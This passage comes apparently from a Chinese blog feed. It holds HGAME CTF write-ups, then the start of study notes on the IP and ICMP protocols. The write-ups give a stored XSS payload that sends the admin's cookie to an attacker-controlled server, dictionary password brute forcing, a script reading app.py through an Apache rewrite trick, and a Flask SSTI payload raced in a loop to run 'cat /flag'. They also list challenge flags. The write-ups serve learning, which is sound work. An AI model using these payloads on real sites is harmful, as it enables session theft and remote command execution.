    delete(session.Values, &quot;username&quot;)
    session.Save(c.Request, c.Writer)
    c.Redirect(http.StatusFound, &quot;/login&quot;)
}
func indexHandler(c *gin.Context) {
    session, _ := store.Get(c.Request, &quot;session&quot;)
    username, ok := session.Values[&quot;username&quot;].(string)
    if !ok {
        log.Println(&quot;User not logged in, redirecting to login&quot;)
        c.Redirect(http.StatusFound, &quot;/login&quot;)
        return
    }
    if c.Request.Method == http.MethodPost {
        comment := c.PostForm(&quot;comment&quot;)
        log.Printf(&quot;New comment submitted: %s\n&quot;, comment)
        comments = append(comments, comment)
    }
    htmlContent := fmt.Sprintf(`&amp;lt;html&amp;gt;
        &amp;lt;body&amp;gt;
            &amp;lt;h1&amp;gt;留言板&amp;lt;/h1&amp;gt;
            &amp;lt;p&amp;gt;欢迎，%s，试着写点有意思的东西吧，admin才不会来看你！自恋的笨蛋！&amp;lt;/p&amp;gt;
            &amp;lt;form method=&quot;post&quot;&amp;gt;
                &amp;lt;textarea name=&quot;comment&quot; required&amp;gt;&amp;lt;/textarea&amp;gt;&amp;lt;br&amp;gt;
                &amp;lt;input type=&quot;submit&quot; value=&quot;提交评论&quot;&amp;gt;
            &amp;lt;/form&amp;gt;
            &amp;lt;h3&amp;gt;留言:&amp;lt;/h3&amp;gt;
            &amp;lt;ul&amp;gt;`, username)
    for _, comment := range comments {
        htmlContent += &quot;&amp;lt;li&amp;gt;&quot; + comment + &quot;&amp;lt;/li&amp;gt;&quot;
    }
    htmlContent += `&amp;lt;/ul&amp;gt;
            &amp;lt;p&amp;gt;&amp;lt;a href=&quot;/logout&quot;&amp;gt;退出&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;
        &amp;lt;/body&amp;gt;
    &amp;lt;/html&amp;gt;`
    c.Data(http.StatusOK, &quot;text/html; charset=utf-8&quot;, []byte(htmlContent))
}
func adminHandler(c *gin.Context) {
    htmlContent := `&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;
        &amp;lt;p&amp;gt;好吧好吧你都这么求我了~admin只好勉为其难的来看看你写了什么~才不是人家想看呢！&amp;lt;/p&amp;gt;
        &amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;`
    c.Data(http.StatusOK, &quot;text/html; charset=utf-8&quot;, []byte(htmlContent))
    //无头浏览器模拟登录admin，并以admin身份访问/路由
    go func() {
        lock.Lock()
        defer lock.Unlock()
        ctx, cancel := chromedp.NewContext(context.Background())
        defer cancel()
        ctx, _ = context.WithTimeout(ctx, 20*time.Second)
        if err := chromedp.Run(ctx, myTasks()); err != nil {
            log.Println(&quot;Chromedp error:&quot;, err)
            return
        }
    }()
}

// 无头浏览器操作
func myTasks() chromedp.Tasks {
    return chromedp.Tasks{
        chromedp.Navigate(&quot;/login&quot;),
        chromedp.WaitVisible(`input[name=&quot;username&quot;]`),
        chromedp.SendKeys(`input[name=&quot;username&quot;]`, &quot;admin&quot;),
        chromedp.SendKeys(`input[name=&quot;password&quot;]`, &quot;fake_password&quot;),
        chromedp.Click(`input[type=&quot;submit&quot;]`),
        chromedp.Navigate(&quot;/&quot;),
        chromedp.Sleep(5 * time.Second),
    }
}

func flagHandler(c *gin.Context) {
    log.Println(&quot;Handling flag request&quot;)
    session, err := store.Get(c.Request, &quot;session&quot;)
    if err != nil {
        c.String(http.StatusInternalServerError, &quot;无法获取会话&quot;)
        return
    }
    username, ok := session.Values[&quot;username&quot;].(string)
    if !ok || username != &quot;admin&quot; {
        c.String(http.StatusForbidden, &quot;只有admin才可以访问哦&quot;)
        return
    }
    log.Println(&quot;Admin accessed the flag&quot;)
    c.String(http.StatusOK, flag)
}
func main() {
    r := gin.Default()
    r.GET(&quot;/login&quot;, loginHandler)
    r.POST(&quot;/login&quot;, loginHandler)
    r.GET(&quot;/logout&quot;, logoutHandler)
    r.GET(&quot;/&quot;, indexHandler)
    r.GET(&quot;/admin&quot;, adminHandler)
    r.GET(&quot;/flag&quot;, flagHandler)
    log.Println(&quot;Server started at :8888&quot;)
    log.Fatal(r.Run(&quot;:8888&quot;))
}

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问/flag需要admin权限&lt;/p&gt;
&lt;p&gt;先试图登录&lt;a href=&quot;https://github.com/wwl012345/PasswordDic&quot;&gt;wwl012345/PasswordDic: 渗透测试常用密码字典合集(持续更新)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用这个里面的字典爆密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210155017045.png&quot; alt=&quot;image-20250210155017045&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到这个&lt;code&gt;888888&lt;/code&gt;的反应时间不同&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210155055727.png&quot; alt=&quot;image-20250210155055727&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是&lt;code&gt;username&lt;/code&gt;=&lt;code&gt;shallot&lt;/code&gt;    &lt;code&gt;password&lt;/code&gt;=&lt;code&gt;888888&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210155232331.png&quot; alt=&quot;image-20250210155232331&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看到留言框就想到xss，&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210155420211.png&quot; alt=&quot;image-20250210155420211&quot; /&gt;&lt;/p&gt;
&lt;p&gt;可以看到里面包含了我们的cookie。那加上访问&lt;code&gt;/admin&lt;/code&gt;可以模拟admin访问，xss的目标就是获取cookie&lt;/p&gt;
&lt;p&gt;所以现在vps上&lt;code&gt;python3 -m http.server 11451&lt;/code&gt;开了个http服务&lt;/p&gt;
&lt;p&gt;然后xss的payload是&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;script&amp;gt;document.write(&apos;&amp;lt;img src=&quot;http://服务器ip:11451/&apos;+document.cookie+&apos;&quot;/&amp;gt;&apos;)&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;提交评论之后访问&lt;code&gt;/admin&lt;/code&gt;，然后就有cookie了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210160712459.png&quot; alt=&quot;image-20250210160712459&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这边是服务器返回的cookie&lt;/p&gt;
&lt;p&gt;抓一个自己访问&lt;code&gt;/flag&lt;/code&gt;的包，然后改一下cookie就可以拿到flag了&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210160857419.png&quot; alt=&quot;image-20250210160857419&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210160915368.png&quot; alt=&quot;image-20250210160915368&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{W0w_y0u_5r4_9o0d_4t_xss}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3.Level 38475 角落&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;这里被称为“角落（The Corner）”，仿佛是某个庞大迷宫中被遗漏的碎片。&lt;/p&gt;
&lt;p&gt;墙壁上挂着一块破旧的留言板，四周弥漫着昏暗的光线和低沉的回响。&lt;/p&gt;
&lt;p&gt;据说，这块留言板是通往外界的唯一线索，但它隐藏着一个不为人知的秘密——留言板的管理者会查看留言板上的信息，并决定谁有资格离开。&lt;/p&gt;
&lt;p&gt;这里的实体似乎对留言板有着特殊的兴趣，它们会不断地在留言板上留下奇怪的符号或重复的单词，仿佛在进行某种神秘的仪式。&lt;/p&gt;
&lt;p&gt;或许，可以通过这些仪式借助管理者的力量离开。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;访问了&lt;code&gt;/robots.txt&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210162531617.png&quot; alt=&quot;image-20250210162531617&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后继续访问了&lt;code&gt;/app.conf&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Include by httpd.conf
&amp;lt;Directory &quot;/usr/local/apache2/app&quot;&amp;gt;
    Options Indexes
    AllowOverride None
    Require all granted
&amp;lt;/Directory&amp;gt;

&amp;lt;Files &quot;/usr/local/apache2/app/app.py&quot;&amp;gt;
    Order Allow,Deny
    Deny from all
&amp;lt;/Files&amp;gt;

RewriteEngine On
RewriteCond &quot;%{HTTP_USER_AGENT}&quot; &quot;^L1nk/&quot;
RewriteRule &quot;^/admin/(.*)$&quot; &quot;/$1.html?secret=todo&quot;

ProxyPass &quot;/app/&quot; &quot;http://127.0.0.1:5000/&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;能看到这个&lt;code&gt;app.py&lt;/code&gt;不能访问&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210163535781.png&quot; alt=&quot;image-20250210163535781&quot; /&gt;&lt;/p&gt;
&lt;p&gt;询问ai构建了脚本来访问&lt;code&gt;app.py&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time

TARGET = &quot;http://146.56.227.88:30781&quot;
FILE_PATH = &quot;/admin/usr/local/apache2/app/app.py%3f&quot;
USER_AGENT = &quot;L1nk/Chrome&quot;

def exploit():
    url = f&quot;{TARGET}{FILE_PATH}&quot;
    headers = {
        &quot;User-Agent&quot;: USER_AGENT
    }
    try:
        r = requests.get(url, headers=headers, timeout=10)
        return r.text
    except Exception as e:
        print(&quot;Exploit error:&quot;, e)
    return &quot;&quot;

if __name__ == &apos;__main__&apos;:
    print(&quot;开始尝试读取 app.py&quot;)
    attempt_count = 0
    while True:
        attempt_count += 1
        result = exploit()
        if result:
            print(&quot;成功读取 app.py 内容：&quot;)
            print(result)
            break
        time.sleep(0.1)
        
        
&apos;&apos;&apos;
from flask import Flask, request, render_template, render_template_string, redirect
import os
import templates

app = Flask(__name__)
pwd = os.path.dirname(__file__)
show_msg = templates.show_msg

def readmsg():
    filename = pwd + &quot;/tmp/message.txt&quot;
    if os.path.exists(filename):
        f = open(filename, &apos;r&apos;)
        message = f.read()
        f.close()
        return message
    else:
        return &apos;No message now.&apos;

@app.route(&apos;/index&apos;, methods=[&apos;GET&apos;])
def index():
    status = request.args.get(&apos;status&apos;)
    if status is None:
        status = &apos;&apos;
    return render_template(&quot;index.html&quot;, status=status)

@app.route(&apos;/send&apos;, methods=[&apos;POST&apos;])
def write_message():
    filename = pwd + &quot;/tmp/message.txt&quot;
    message = request.form[&apos;message&apos;]
    f = open(filename, &apos;w&apos;)
    f.write(message) 
    f.close()
    return redirect(&apos;index?status=Send successfully!!&apos;)
    
@app.route(&apos;/read&apos;, methods=[&apos;GET&apos;])
def read_message():
    if &quot;{&quot; not in readmsg():
        show = show_msg.replace(&quot;{{message}}&quot;, readmsg())
        return render_template_string(show)
    return &apos;waf!!&apos;

if __name__ == &apos;__main__&apos;:
    app.run(host = &apos;0.0.0.0&apos;, port = 5000)
&apos;&apos;&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;exp&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
import threading

TARGET = &quot;http://146.56.227.88:30781/app&quot;
PAYLOAD = &quot;{{ config.__class__.__init__.__globals__[&apos;os&apos;].popen(&apos;cat /flag&apos;).read() }}&quot;

session = requests.Session()

def send_message(message):
    try:
        return session.post(f&quot;{TARGET}/send&quot;, data={&quot;message&quot;: message}, timeout=10).status_code
    except Exception as e:
        print(&quot;Error:&quot;, e)
    return None

def trigger_read():
    try:
        return session.get(f&quot;{TARGET}/read&quot;, timeout=10).text
    except Exception as e:
        print(&quot;Error triggering read:&quot;, e)
    return &quot;&quot;

def attempt():
    send_message(&quot;114514&quot;)
    threading.Timer(0.01, send_message, args=(PAYLOAD,)).start()
    time.sleep(0.001)
    return trigger_read()

if __name__ == &apos;__main__&apos;:
    attempt_count = 0
    while True:
        attempt_count += 1
        result = attempt()
        if &quot;hgame&quot; in result:
            print(&quot;成功读取 flag 内容：&quot;)
            print(result)
            break
        if attempt_count % 10 == 0:
            print(f&quot;尝试次数：{attempt_count}, 最近返回内容：{result}&quot;)
        time.sleep(0.1)
#具有一定的随机性，属实是在硬爆
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250210164629237.png&quot; alt=&quot;image-20250210164629237&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{y0u_fInd_the-K3Y_To-RrR@cE-0UuUUt2ce20df}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Week 2&lt;/h2&gt;
&lt;h3&gt;1.Computer cleaner plus&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;小明发现他的另一台虚拟机也遭遇了同样的问题，他按照你的步骤清理干净了自己的电脑，但是一段时间后发现自己的电脑还在遭受黑客的控制，请你再帮他排查一下造成这一情况的原因&lt;/p&gt;
&lt;p&gt;flag为：hgame{可执行恶意文件名称} （不带后缀）&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/5b9f6203f022840796653e53f5719c81.png&quot; alt=&quot;5b9f6203f022840796653e53f5719c81&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{B4ck_D0_oR}&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.Invest in hints&lt;/h3&gt;
&lt;p&gt;无舍即无得。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Q&amp;amp;A：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;“这里的‘Hint #&lt;em&gt;x&lt;/em&gt;’是哪个hint？（&lt;em&gt;x&lt;/em&gt;替换为你喜欢的非负整数）” -- 由你自己来发现。&lt;/li&gt;
&lt;li&gt;“不会出现负收益的中间状态吗？” -- 无舍即无得。但我们保证解出赛题的收益是非负的。
求解本题无需使用暴力枚举。请选手确保在解题过程中不存在暴力枚举行为。
本题不设置血分。自动计算的血分将由工作人员扣除。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;p&gt;每个 Hint 按原串顺序包含以下位（个位代表原串的第一个字符）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Hint 51: 00001100101001111010000000010010001110100000000000000000001101111000100
Hint 52: 01101000111011000000000101000100001001101100000000010010001110011000000
Hint 53: 10100100000001011000110001001101000010001101011101010110001000000000000
Hint 54: 00001010000010010000100110000100000010000100101100111000001011100000111
Hint 55: 01110010100100100000000000000000011010110011000001111000101100000001000
Hint 56: 01110100001001000010010111101111011101001000100010011001000010011100000
Hint 57: 10000101010000000011000001100101001010110100000110110010001000100011000
Hint 58: 00000111101000001001000001100100100000110000110000101000001101110100000
Hint 59: 01001101001001000000001001001110100000000000001011000100010000101010101
Hint 60: 10010010100110011011100010011001100100100001110010010101001000100001111
Hint 61: 01001000100011000001000000000011010001110001000000101100001000100010100
Hint 62: 00101000010000111000101110000010001000000001000111100010001101001001101
Hint 63: 01000010111010000000010100001010001011000100100010000000000000001000000
Hint 64: 01110110110011000000010000011000000010000000000000111000000010000010001
Hint 65: 01100000000011000110000000010001000000000011001100000110010001011010000
Hint 66: 01110011001000101001100001011000011010000001100010100000011010000001000
Hint 67: 00111011000011000000100100101000100100101000010001100111001000100001000
Hint 68: 01000110010101011100110101110010001111100011010000000101010100000010010
Hint 69: 11111010111000110100010000000010001101111010011010001100000011000001001
Hint 70: 00000010110101100100100011001011011001100000100010011111000011000001101
Hint 71: 00001100001110101000010111001100011100100010011100001010000000001000010
Hint 72: 01100000000011001001011100000101000110111000101100010101111000001010100
Hint 73: 00001000001010010000001101010110110000110111011011100101011110010110000
Hint 74: 01010010100000000111011110001000010110100001000111001101010100000010000
Hint 75: 11010000011000010100001010000111011010100001111010100100100000111110110
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;随手买了hint 5&lt;/p&gt;
&lt;p&gt;&lt;code&gt;01110010100100100000000000000000011010110011000001111000101100000001000&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;mMk3ACi7SCWyAq3C5wda42&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;就&lt;code&gt;每个 Hint 按原串顺序包含以下位（个位代表原串的第一个字符）。&lt;/code&gt;这句话我看了好久&lt;/p&gt;
&lt;p&gt;发现hint字符数量等于1的数量，猜测是一一对应的&lt;/p&gt;
&lt;p&gt;最后根据hgame的第四位是m，把这个01倒置的第四位是1，所以理论上就很简单了。&lt;/p&gt;
&lt;p&gt;然后算出来hint5在的情况下再买hint6、7、10、19、23就行了&lt;/p&gt;
&lt;p&gt;草稿纸如图&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;hgame-2024/image-20250217231109313.png&quot; alt=&quot;image-20250217231109313&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;hgame{Aug5YMkf3o99ACi7Lr0gQSCKaWy2Azq3ti691DhNlCbxu8rR2mCAD5LEwLdmHa42}&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>s3loy</author></item><item><title>Network Layer</title><link>https://blog.s3loy.tech/posts/network-layer</link><guid isPermaLink="true">https://blog.s3loy.tech/posts/network-layer</guid><pubDate>Mon, 24 Feb 2025 12:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;网络层是&lt;code&gt;OSI&lt;/code&gt;模型中的第三层，它负责在不同网络之间（端到端）提供数据包的路由和转发。网络互联的本质是通过&lt;code&gt;IP&lt;/code&gt;协议实现的，而数据传输的基本单元是&lt;code&gt;IP&lt;/code&gt;数据报。本章将详细介绍网络层的核心协议与技术。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;网络互连&lt;code&gt;本质&lt;/code&gt;是通过&lt;code&gt;ip&lt;/code&gt;实现的，&lt;code&gt;传输&lt;/code&gt;是以&lt;code&gt;ip数据报&lt;/code&gt;为介质。&lt;/p&gt;
&lt;h2&gt;1.1. IP&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;IP&lt;/code&gt;协议是无连接、不可靠的数据报服务。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;无连接 (&lt;code&gt;Connectionless&lt;/code&gt;)&lt;/strong&gt;：发送方在发送数据前，不需要与接收方建立连接。每个数据报都是独立传输的，因此到达顺序、完整性都不能保证。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不可靠 (&lt;code&gt;Unreliable&lt;/code&gt;)&lt;/strong&gt;：&lt;code&gt;IP&lt;/code&gt;协议不提供错误恢复或重传机制。如果数据报在传输中丢失或损坏，&lt;code&gt;IP&lt;/code&gt;层本身不会处理，而是交由上层协议（如&lt;code&gt;TCP&lt;/code&gt;）来确保可靠性。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.1.1. IPv4 数据报格式&lt;/h3&gt;
&lt;p&gt;一个&lt;code&gt;IP&lt;/code&gt;数据报由&lt;code&gt;首部 (Header)&lt;/code&gt;和&lt;code&gt;数据 (Data)&lt;/code&gt;两部分组成。首部通常为20字节，包含了路由和转发所需的所有关键信息。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;版本 (&lt;code&gt;Version&lt;/code&gt;)&lt;/strong&gt; (4位): 指示&lt;code&gt;IP&lt;/code&gt;协议的版本，对于&lt;code&gt;IPv4&lt;/code&gt;，该值为 4。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首部长度 (&lt;code&gt;IHL - Internet Header Length&lt;/code&gt;)&lt;/strong&gt; (4位): 表示整个&lt;code&gt;IP&lt;/code&gt;首部的长度，单位是 &lt;strong&gt;4字节&lt;/strong&gt;（32位）。例如，如果该值为5，则首部长度为 5 * 4 = 20 字节。最小值为5（20字节），最大值为15（60字节）。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;服务类型 (&lt;code&gt;ToS - Type of Service&lt;/code&gt;)&lt;/strong&gt; (8位): 用于指定数据报的优先级和服务质量（&lt;code&gt;QoS&lt;/code&gt;）要求，例如最小延迟、最大吞吐量等。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;总长度 (&lt;code&gt;Total Length&lt;/code&gt;)&lt;/strong&gt; (16位): 指示整个&lt;code&gt;IP&lt;/code&gt;数据报（包括首部和数据）的总长度，单位是字节。最大长度为 &lt;code&gt;65535&lt;/code&gt; 字节。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标识 (&lt;code&gt;Identification&lt;/code&gt;)&lt;/strong&gt; (16位): 该字段唯一标识一个数据报。当数据报因为过大而被分片时，所有分片都将拥有相同的标识号，以便接收方能够将它们重新组装。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;标志 (&lt;code&gt;Flags&lt;/code&gt;)&lt;/strong&gt; (3位):
&lt;ul&gt;
&lt;li&gt;第1位：保留，必须为0。&lt;/li&gt;
&lt;li&gt;第2位：&lt;strong&gt;&lt;code&gt;DF (Don&apos;t Fragment)&lt;/code&gt;&lt;/strong&gt;。如果设为1，则禁止路由器对该数据报进行分片。如果数据报过大而无法通过，路由器将丢弃它并返回一个&lt;code&gt;ICMP&lt;/code&gt;错误消息。&lt;/li&gt;
&lt;li&gt;第3位：&lt;strong&gt;&lt;code&gt;MF (More Fragments)&lt;/code&gt;&lt;/strong&gt;。如果设为1，表示后面还有更多的分片；如果为0，表示这是最后一个分片（或未分片）。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;片偏移 (&lt;code&gt;Fragment Offset&lt;/code&gt;)&lt;/strong&gt; (13位): 指示当前分片在原始数据报中的位置。偏移量以 &lt;strong&gt;&lt;code&gt;8字节&lt;/code&gt;&lt;/strong&gt; 为单位。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;生存时间 (&lt;code&gt;TTL - Time to Live&lt;/code&gt;)&lt;/strong&gt; (8位): 设置数据报在网络中可以存活的最大跳数（经过的路由器数）。每经过一个路由器，&lt;code&gt;TTL&lt;/code&gt;值减1。当&lt;code&gt;TTL&lt;/code&gt;减为0时，路由器将丢弃该数据报，并向源主机发送一个&lt;code&gt;ICMP&lt;/code&gt;超时消息。这可以防止数据报在网络中无限循环。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;协议 (&lt;code&gt;Protocol&lt;/code&gt;)&lt;/strong&gt; (8位): 指示&lt;code&gt;IP&lt;/code&gt;数据报的数据部分承载的是哪个上层协议。例如，&lt;code&gt;6&lt;/code&gt;代表&lt;code&gt;TCP&lt;/code&gt;，&lt;code&gt;17&lt;/code&gt;代表&lt;code&gt;UDP&lt;/code&gt;，1 代表&lt;code&gt;ICMP&lt;/code&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;首部检验和 (&lt;code&gt;Header Checksum&lt;/code&gt;)&lt;/strong&gt; (16位): 用于校验&lt;code&gt;IP&lt;/code&gt;首部在传输过程中是否出错。它只对首部进行计算，不包括数据部分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;源IP地址 (&lt;code&gt;Source IP Address&lt;/code&gt;)&lt;/strong&gt; (32位): 发送方设备的&lt;code&gt;IP&lt;/code&gt;地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的IP地址 (&lt;code&gt;Destination IP Address&lt;/code&gt;)&lt;/strong&gt; (32位): 接收方设备的&lt;code&gt;IP&lt;/code&gt;地址。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;选项 (&lt;code&gt;Options&lt;/code&gt;)&lt;/strong&gt; (可变长): 用于一些特殊处理，如记录路由、时间戳等。由于选项会增加首部长度并降低处理效率，因此不常用。如果存在，首部长度字段会大于5。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.1.2. IP 分片 (Fragmentation)&lt;/h3&gt;
&lt;p&gt;当一个&lt;code&gt;IP&lt;/code&gt;数据报的长度超过了链路的&lt;strong&gt;最大传输单元 (&lt;code&gt;MTU&lt;/code&gt;)&lt;/strong&gt; 时，路由器就需要将其分割成多个更小的数据报，这个过程称为分片。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;标识、标志和片偏移这三个字段共同协作，以确保分片能够在目的主机被正确地重组。&lt;/li&gt;
&lt;li&gt;所有分片共享相同的标识号。&lt;/li&gt;
&lt;li&gt;除了最后一个分片，其他所有分片的&lt;code&gt;MF&lt;/code&gt;标志位都为1。&lt;/li&gt;
&lt;li&gt;片偏移字段记录了每个分片数据在原始数据中的相对位置。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2. ICMP&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;ICMP&lt;/strong&gt;：&lt;code&gt;Internet Control Message Protocol&lt;/code&gt; ，因特网控制报文协议&lt;/p&gt;
&lt;p&gt;方向：主机/路由器 -&amp;gt; 源站(发送方)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;Network-Layer/54070be665d2466175453f2c7153900f-1740404253149-1.jpeg&quot; alt=&quot;IP数据&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;代码&lt;/code&gt; 提供了进一步的描述信息，在此不进一步提供描述信息，&lt;s&gt;即代码的代码（？&lt;/s&gt;。&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;However&lt;/strong&gt;, 首先想区分一下这边的四个字节vs图上的内容vs十六进制和二进制&lt;/p&gt;
&lt;p&gt;图上的&lt;code&gt;0  8  16  31&lt;/code&gt;一共有32位，指的是二进制的32位，这个&lt;code&gt;类型&lt;/code&gt;是1字节，2个16进制。也就是在读数据报的时候你看到的是两个十六进制的字符。&lt;s&gt;然而图上很喜欢使用二进制长度来表示&lt;/s&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;8位二进制&lt;/code&gt;=&lt;code&gt;2位十六进制&lt;/code&gt;=&lt;code&gt;1字节&lt;/code&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类型字段&lt;/th&gt;
&lt;th&gt;ICMP报文类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;回显应答 Echo Reply&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;目的不可达 Destination Unreachable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;源抑制 Source Quench&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;路由重定向 Redirect (change a route)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;回显请求 Echo Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;路由器广告 Router Advertisement&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;路由器请求 Router Solicitation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;数据报超时 Time Exceeded for a Datagram&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;数据报参数问题 Parameter Problem on a Datagram&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;时间戳请求 Timestamp Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;时间戳应答 Timestamp Reply&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;信息请求（废弃） Information Request (obsolete)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;信息应答（废弃） Information Reply (obsolete)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;地址掩码请求 Address Mask Request&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;地址掩码应答 Address Mask Reply&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;code&gt;ICMP&lt;/code&gt; 报文分为两大类&lt;/p&gt;
&lt;p&gt;&lt;code&gt;差错报告报文&lt;/code&gt;和&lt;code&gt;提供信息的报文(询问报文)&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;差错报告报文 (&lt;code&gt;Error Report Messages&lt;/code&gt;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;3&lt;/code&gt; 目的不可达 &lt;code&gt;Destination Unreachable&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;4&lt;/code&gt; 源抑制 &lt;code&gt;Source Quench&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;5&lt;/code&gt; 路由重定向 &lt;code&gt;Redirect (change a route)&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
